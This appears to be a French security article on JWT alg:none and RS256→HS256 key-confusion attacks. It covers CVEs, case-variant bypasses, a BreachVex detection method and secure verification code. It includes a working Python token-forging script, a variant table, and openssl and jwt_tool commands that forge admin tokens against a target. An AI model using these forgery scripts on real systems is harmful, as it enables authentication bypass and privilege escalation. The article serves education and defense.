L'attaque alg:none modifie l'en-tête d'algorithme à 'none' pour produire un token non signé, accepté par les bibliothèques qui font confiance à cet en-tête.
alg:none indique aux bibliothèques vulnérables d'accepter n'importe quelle charge utile sans vérifier la signatureNone, NONE, nOnE, nonE, none avec espace) contournent les filtres de correspondance en minusculesalgorithms=["RS256"] côté serveur ; ne jamais faire confiance à header.algL'attaque alg:none exploite une faille de conception fondamentale dans les bibliothèques JWT qui traitent le champ d'en-tête alg comme faisant autorité. RFC 7515 (JSON Web Signature) définit alg: "none" comme un identifiant d'algorithme valide signifiant "JWS non sécurisé" — un JWT sans protection d'intégrité. Les bibliothèques qui implémentent le RFC complet sans restreindre les algorithmes qu'elles acceptent à la vérification sont exploitables : un attaquant change l'alg de l'en-tête à none, retire la signature et envoie le token.
CVE-2015-9235 dans jsonwebtoken (Node.js, CVSS 9,8) a été la première divulgation largement documentée. La bibliothèque auth0/node-jsonwebtoken avant la version 4.2.2 acceptait les tokens avec alg: none indépendamment de l'option algorithms. Le pattern a réapparu dans CVE-2026-34950 (fast-jwt, CVSS 9,1) où un patch de sécurité utilisant une correspondance de regex a été contourné via un espace initial.
sequenceDiagram
participant A as Attaquant
participant V as Serveur vulnérable
Note over A: 1. Décoder le JWT original (base64url)
Note over A: 2. Changer l'en-tête : alg=RS256 → alg=none
Note over A: 3. Modifier la charge : role=user → role=admin
Note over A: 4. Ré-encoder en-tête.charge avec signature vide
A->>V: Bearer eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4ifQ.
Note over V: bibliothèque voit alg=none
Note over V: saute la vérification de signature
Note over V: fait confiance aux revendications → role=admin
V-->>A: 200 OK — accès admin accordéImplémentation Python étape par étape :
import base64, json
def b64url_encode(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
def b64url_decode(s: str) -> bytes:
s += '=' * (4 - len(s) % 4)
return base64.urlsafe_b64decode(s)
# Token original (divisé en 3 segments)
original = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIiLCJleHAiOjE3MDAwMDAwMDB9.SIGNATURE"
parties = original.split(".")
# Décoder la charge originale
charge = json.loads(b64url_decode(parties[1]))
# Créer un en-tête malveillant — alg:none
en_tete_malveillant = {"alg": "none", "typ": "JWT"}
# Modifier les revendications
charge["role"] = "admin"
charge["exp"] = 9999999999
# Ré-encoder sans signature
nouvel_entete = b64url_encode(json.dumps(en_tete_malveillant, separators=(',',':')).encode())
nouvelle_charge = b64url_encode(json.dumps(charge, separators=(',',':')).encode())
token_forge = f"{nouvel_entete}.{nouvelle_charge}." # segment de signature vide| Variante | Valeur alg | Cible de contournement | Notes |
|---|---|---|---|
| Classique | "none" | Bibliothèques non sécurisées par défaut | Pattern CVE-2015-9235 |
| N majuscule | "None" | alg.toLowerCase() == "none" | Contournement filtre minuscules |
| Tout majuscules | "NONE" | Identique | |
| Casse mixte | "nOnE" | Identique | |
| Casse mixte 2 | "nonE" | Identique | Contournement historique Auth0 |
| Espace initial | " none" | Filtres regex /^none$/ | Contournement CVE-2026-34950 fast-jwt |
| Espace final | "none " | Identique | |
| Liste algorithmes | "none/HS256" | Analyseurs conscients des listes | Certaines implémentations prennent la première valeur |
L'attaquant change alg de RS256 à HS256 et signe avec la clé publique RSA publique du serveur comme secret HMAC :
# Récupérer la clé publique depuis JWKS ou TLS
openssl s_client -connect cible.com:443 2>/dev/null | openssl x509 -pubkey -noout > cle_publique.pem
# Forger le token HS256 en utilisant la clé publique comme secret HMAC
python3 /opt/jwt_tool/jwt_tool.py "$JWT_ORIGINAL" -X k -pk cle_publique.pem -I -pc role -pv adminCVE-2015-9235 — jsonwebtoken (CVSS 9,8)
La bibliothèque auth0/node-jsonwebtoken avant la version 4.2.2 acceptait les tokens avec alg défini à none. Un attaquant pouvait signer n'importe quelle charge utile avec une signature vide et la bibliothèque retournait la charge décodée comme vérifiée. Corrigé en exigeant une option algorithms explicite.
CVE-2026-34950 — Réactivation confusion algorithme fast-jwt (CVSS 9,1)
fast-jwt avait patché CVE-2023-48223 en rejetant les tokens avec alg: "none" via regex. Le contournement 2026 soumettait HS256 (espace initial). La regex /^[A-Z]+\d+$/ échouait à correspondre à cause de l'espace, et la bibliothèque acceptait l'algorithme de l'en-tête — réactivant silencieusement la CVE originale.
CVE-2022-21449 — Psychic Signatures Java (CVSS 7,5) Toutes les applications Java utilisant le vérificateur ECDSA JCA sur Java SE 15, 16, 17 et 18 étaient vulnérables. Une signature ECDSA vide (r=0, s=0) passait la vérification pour n'importe quel message et clé. Découvert par Neil Madden, publié le 19 avril 2022.
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -X a -npENTETE=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
CHARGE=$(echo "$TOKEN" | cut -d'.' -f2)
echo "${ENTETE}.${CHARGE}."jwt_tool mode playbook :
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -M pb -np -url "https://cible.com/api/protege"Burp Suite JWT Editor : Intercepter une requête → Envoyer au Répéteur → onglet JWT Editor → Attaque → alg:none.
BreachVex détecte alg:none par test structurel de token : il génère les 16 tokens de variante de casse, les envoie à un oracle d'authentification confirmé (établi via une vérification triple-baseline — token valide, aucun token et token corrompu) et vérifie l'acceptation par comparaison du corps de réponse à la baseline authentifiée légitime. Une vulnérabilité confirmée exige une réponse 200 avec des données spécifiques à l'utilisateur correspondant à la revendication sub de la charge.
import jwt
# MAUVAIS — lit l'algorithme depuis l'en-tête du token
def verifier_mauvais(token: str, cle: str) -> dict:
alg = jwt.get_unverified_header(token)["alg"]
return jwt.decode(token, cle, algorithms=[alg]) # l'attaquant définit alg=none
# BON — le serveur contrôle l'algorithme
ALGORITHMES_AUTORISES = ["RS256"] # jamais "none"
def verifier_bon(token: str, cle_publique: str) -> dict:
return jwt.decode(
token,
cle_publique,
algorithms=ALGORITHMES_AUTORISES,
options={"require": ["exp", "sub", "iat"]}
)const jwt = require('jsonwebtoken');
// MAUVAIS — pas d'option algorithms : jsonwebtoken < 9.0 fait confiance à l'en-tête
const charge_mauvaise = jwt.verify(token, secret);
// BON — liste d'autorisation explicite, ne jamais inclure 'none'
const charge_bonne = jwt.verify(token, clePublique, {
algorithms: ['RS256'],
issuer: 'https://auth.exemple.com',
audience: 'api.exemple.com',
});Si votre bibliothèque JWT accepte les tokens alg:none, chaque token de votre système est falsifiable. L'attaque ne nécessite aucun matériel de clé, aucun accès réseau au serveur, et prend moins de 10 secondes avec jwt_tool. Toute bibliothèque ne nécessitant pas un paramètre algorithms= explicite est inadaptée à l'authentification en production.
L'attaque alg:none définit le champ alg de l'en-tête JWT à 'none', produisant un token non signé avec un segment de signature vide. Les bibliothèques qui font confiance à la revendication d'algorithme de l'en-tête sautent entièrement la vérification de signature. CVE-2015-9235 (jsonwebtoken, CVSS 9,8) a été la première divulgation largement documentée.
Les 16 permutations de casse sont testées activement, dont none, None, NONE, nOnE, nonE, NoNe, nONE et noNe. Les variantes avec espaces contournent les filtres basés sur regex : ' none' (espace initial), 'none ' (espace final). CVE-2026-34950 dans fast-jwt a été exploité via un espace initial sur des versions patchées de CVE-2023-48223.
Oui. alg:none supprime entièrement la signature — aucune vérification cryptographique. La confusion RS256→HS256 effectue toujours une vérification de signature, mais utilise la clé publique RSA publiquement connue comme secret HMAC. alg:none ne nécessite pas de matériel de clé ; RS256→HS256 nécessite la clé publique du serveur.
CVE-2015-9235 (jsonwebtoken Node.js), puis une longue série d'autres bibliothèques. Le pattern récurrent : bibliothèques implémentant l'analyse JWT générique sans imposer une liste d'autorisation d'algorithme à l'étape de vérification. Les versions modernes de PyJWT, jsonwebtoken 9+ et java-jwt exigent toutes un paramètre algorithms explicite.
CVE-2026-34950 dans fast-jwt a réactivé la classe alg:none sur des versions patchées. Le patch original de CVE-2023-48223 utilisait une regex pour rejeter 'none', mais le contournement de 2026 utilisait un espace initial — ' HS256' — pour neutraliser la regex. Ce pattern illustre pourquoi les patches de sécurité par correspondance de chaîne sont fragiles : tout cas limite dans l'expression de correspondance devient un vecteur de contournement.